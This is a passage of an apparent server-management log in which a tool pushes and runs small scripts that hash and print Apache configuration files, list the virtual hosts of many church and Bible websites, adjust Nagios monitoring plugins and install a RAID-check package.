elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-23 12:29:52:
chmod 755 /tmp/pkp247968; /tmp/pkp247968; rm /tmp/pkp247968
2025-12-23 12:29:52:
status=ok
2025-12-23 12:29:52:
PUT: /tmp/pkp945058
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 12:29:52:
chmod 755 /tmp/pkp945058; /tmp/pkp945058; rm /tmp/pkp945058
2025-12-23 12:29:52:
2025-12-23 12:29:52:
PUT: /tmp/pkp586342
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/ports.conf')
show_file('/etc/apache2/apache2.conf')
show_file('/etc/apache2/sites-available/default-ssl.conf')
show_file('/etc/apache2/sites-available/000-default.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 12:29:52:
chmod 755 /tmp/pkp586342; /tmp/pkp586342; rm /tmp/pkp586342
2025-12-23 12:29:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf 274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
Listen 80
<IfModule ssl_module>
Listen 443
</IfModule>
<IfModule mod_gnutls.c>
Listen 443
</IfModule>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf 7178
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
# together by including all remaining configuration files when starting up the
# web server.
#
# * ports.conf is always included from the main configuration file. It is
# supposed to determine listening ports for incoming connections which can be
# customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
# directories contain particular configuration snippets which manage modules,
# global configuration fragments, or virtual host configurations,
# respectively.
#
# They are activated by symlinking available configuration files from their
# respective *-available/ counterparts. These should be managed by using our
# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
# their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
# the default configuration, apache2 needs to be started/stopped with
# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
# work with the default configuration.
# Global configuration
#
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE! If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"
#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default
#
# The directory where shm and other runtime files will be stored.
#
DefaultRuntimeDir ${APACHE_RUN_DIR}
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn
# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on
Include ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf 4573
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on
# A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert package. See
# /usr/share/doc/apache2/README.Debian.gz for more info.
# If both key and certificate are stored in the same file, only the
# SSLCertificateFile directive is needed.
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
# Server Certificate Chain:
# Point SSLCertificateChainFile at a file containing the
# concatenation of PEM encoded CA certificates which form the
# certificate chain for the server certificate. Alternatively
# the referenced file can be the same as SSLCertificateFile
# when the CA certificates are directly appended to the server
# certificate for convinience.
#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt
# Certificate Authority (CA):
# Set the CA certificate verification path where to find CA
# certificates for client authentication or alternatively one
# huge file containing all of them (file must be PEM encoded)
# Note: Inside SSLCACertificatePath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCACertificatePath /etc/ssl/certs/
#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt
# Certificate Revocation Lists (CRL):
# Set the CA revocation path where to find CA CRLs for client
# authentication or alternatively one huge file containing all
# of them (file must be PEM encoded)
# Note: Inside SSLCARevocationPath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCARevocationPath /etc/apache2/ssl.crl/
#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl
# Client Authentication (Type):
# Client certificate verification type and depth. Types are
# none, optional, require and optional_no_ca. Depth is a
# number which specifies how deeply to verify the certificate
# issuer chain before deciding the certificate is not valid.
#SSLVerifyClient require
#SSLVerifyDepth 10
# SSL Engine Options:
# Set various options for the SSL engine.
# o FakeBasicAuth:
# Translate the client X.509 into a Basic Authorisation. This means that
# the standard Auth/DBMAuth methods can be used for access control. The
# user name is the `one line' version of the client's X.509 certificate.
# Note that no password is obtained from the user. Every entry in the user
# file needs this password: `xxj31ZMTZzkVA'.
# o ExportCertData:
# This exports two additional environment variables: SSL_CLIENT_CERT and
# SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
# server (always existing) and the client (only existing when client
# authentication is used). This can be used to import the certificates
# into CGI scripts.
# o StdEnvVars:
# This exports the standard SSL/TLS related `SSL_*' environment variables.
# Per default this exportation is switched off for performance reasons,
# because the extraction step is an expensive operation and is usually
# useless for serving static content. So one usually enables the
# exportation for CGI and SSI requests only.
# o OptRenegotiate:
# This enables optimized SSL connection renegotiation handling when SSL
# directives are used in per-directory context.
#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory /usr/lib/cgi-bin>
SSLOptions +StdEnvVars
</Directory>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf 1286
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= a1aba36d5064005600a72aab79017da9
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 74a225c1691d3c388c0dabd4c745b5b5
MD5(/etc/apache2/sites-available/carelinks_www_org-au.conf)= bea1c410df503f5c8a140930e02bdd8b
MD5(/etc/ssl/certs/05659106679de2a1894b27eede09c1b3.crt)= efe632de3aaf49888faf4b5510e1c8e0
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= e59a421f795ac013c5d90bb30da825c1
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= 1f21b071ddedee3af411dfedc7da6d06
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= 3561de179ad84bfe0240150d635af61c
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= ac85e89c2da1ccffe799d1216dac3cd4
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= b99943fe4487d80bb2668dee0320a1ef
MD5(/etc/apache2/sites-available/biblealive_www_us.conf)= 4cb67e52d73ce98d31dcec0c352a3b06
MD5(/etc/ssl/certs/fd6dc6f9714389fe5b765b47ecb8e8c1.crt)= bf36eec93304c1c8bb7e36dad95ed775
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 72d2e7e74a64389a685b122d60458b4b
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 5338fc2406f652e606a4761b8a869341
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= 97f0c7cc702a90836c67b6ebf7640328
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= 1e23754cf4e32c0828e679b1c9ef5e5b
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= e471e617b201eeeac5cdf55ddaa73065
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/carelinksoutreach_www_info.conf)= cb44c1a0b360d4f45a5bdd2fbc6884d1
MD5(/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt)= 03afa00cea815b53e5d2306e68ff4e20
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 0f1b9b5f9c4f20294bf8a018ef957115
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 0d92a6e13d6cc02c23ac829fbe250eaa
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 509d0d0c14b50d4539493a62cbe9e85e
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= da6d562ecaaa4a55a783e66cb4036e3f
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= 282b97e64eaee8c04ec8f3238e6cd5cc
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= e6bde7a938cbd28aa8ae8ba9d51a08ea
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 91d46e5b4d3ae47de3464aa15766eaab
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 76b9edfedcf8528d537b2d714e4488cd
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= 9446786f641b573bc32c87ef089668d7
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-au.conf)= /etc/apache2/sites-available/carelinks_www_org-au.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/biblealive_www_us.conf)= /etc/apache2/sites-available/biblealive_www_us.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf)= /etc/apache2/sites-available/carelinksoutreach_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf
STDERR:
/tmp/pkp945058:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-23 14:04:19: Establishing a connection
2025-12-23 14:04:20: Establishing a connection
2025-12-23 14:04:21:
PUT: /tmp/pkp222947
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 14:04:21:
chmod 755 /tmp/pkp222947; /tmp/pkp222947; rm /tmp/pkp222947
2025-12-23 14:04:21:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-12-23 14:04:21:
systemctl reload nagios
2025-12-23 14:04:21:
2025-12-23 14:04:22:
PUT: /tmp/pkp753557
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-23 14:04:22:
chmod 755 /tmp/pkp753557; /tmp/pkp753557; rm /tmp/pkp753557
2025-12-23 14:04:23:
ok
2025-12-23 14:04:23:
PUT: /tmp/pkp940563
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_toner.php'
echo ok
2025-12-23 14:04:23:
chmod 755 /tmp/pkp940563; /tmp/pkp940563; rm /tmp/pkp940563
2025-12-23 14:04:23:
ok
2025-12-23 14:04:24:
PUT: /tmp/pkp551461
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-12-23 14:04:24:
chmod 755 /tmp/pkp551461; /tmp/pkp551461; rm /tmp/pkp551461
2025-12-23 14:04:24:
ok
2025-12-23 14:04:25:
PUT: /tmp/pkp298207
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_website'
echo ok
2025-12-23 14:04:25:
chmod 755 /tmp/pkp298207; /tmp/pkp298207; rm /tmp/pkp298207
2025-12-23 14:04:25:
ok
2025-12-23 14:04:26:
PUT: /tmp/pkp338728
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-12-23 14:04:26:
chmod 755 /tmp/pkp338728; /tmp/pkp338728; rm /tmp/pkp338728
2025-12-23 14:04:26:
ok
2025-12-23 14:04:27:
PUT: /tmp/pkp366271
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-23 14:04:27:
chmod 755 /tmp/pkp366271; /tmp/pkp366271; rm /tmp/pkp366271
2025-12-23 14:04:27:
ok
2025-12-23 14:04:28:
PUT: /tmp/pkp258510
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok
2025-12-23 14:04:28:
chmod 755 /tmp/pkp258510; /tmp/pkp258510; rm /tmp/pkp258510
2025-12-23 14:04:28:
ok
2025-12-23 14:04:29:
PUT: /tmp/pkp703948
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-23 14:04:29:
chmod 755 /tmp/pkp703948; /tmp/pkp703948; rm /tmp/pkp703948
2025-12-23 14:04:29:
ok
2025-12-23 14:04:30:
PUT: /tmp/pkp416695
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-12-23 14:04:30:
chmod 755 /tmp/pkp416695; /tmp/pkp416695; rm /tmp/pkp416695
2025-12-23 14:04:30:
ok
2025-12-23 14:04:31:
PUT: /tmp/pkp836514
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-23 14:04:31:
chmod 755 /tmp/pkp836514; /tmp/pkp836514; rm /tmp/pkp836514
2025-12-23 14:04:32:
ok
2025-12-23 14:04:32:
PUT: /tmp/pkp632500
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-12-23 14:04:33:
chmod 755 /tmp/pkp632500; /tmp/pkp632500; rm /tmp/pkp632500
2025-12-23 14:04:33:
ok
2025-12-23 14:04:33:
PUT: /tmp/pkp996596
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-23 14:04:34:
chmod 755 /tmp/pkp996596; /tmp/pkp996596; rm /tmp/pkp996596
2025-12-23 14:04:34:
ok
2025-12-23 14:04:35:
PUT: /tmp/pkp527946
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_encoder.php'
echo ok
2025-12-23 14:04:35:
chmod 755 /tmp/pkp527946; /tmp/pkp527946; rm /tmp/pkp527946
2025-12-23 14:04:35:
ok
2025-12-23 14:04:36:
PUT: /tmp/pkp566736
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-12-23 14:04:36:
chmod 755 /tmp/pkp566736; /tmp/pkp566736; rm /tmp/pkp566736
2025-12-23 14:04:36:
ok
2025-12-23 14:04:39:
PUT: /tmp/pkp656793
#!/bin/bash
dpkg -i '/usr/local/nagios/libexec/nagios-plugin-check-raid_4.0.9-1_all.deb'
ln -s /usr/lib/nagios/plugins/check_raid /usr/local/nagios/libexec/check_raid
2025-12-23 14:04:39:
chmod 755 /tmp/pkp656793; /tmp/pkp656793; rm /tmp/pkp656793
2025-12-23 14:04:39:
(Reading database ... 181468 files and directories currently installed.)
Preparing to unpack .../nagios-plugin-check-raid_4.0.9-1_all.deb ...
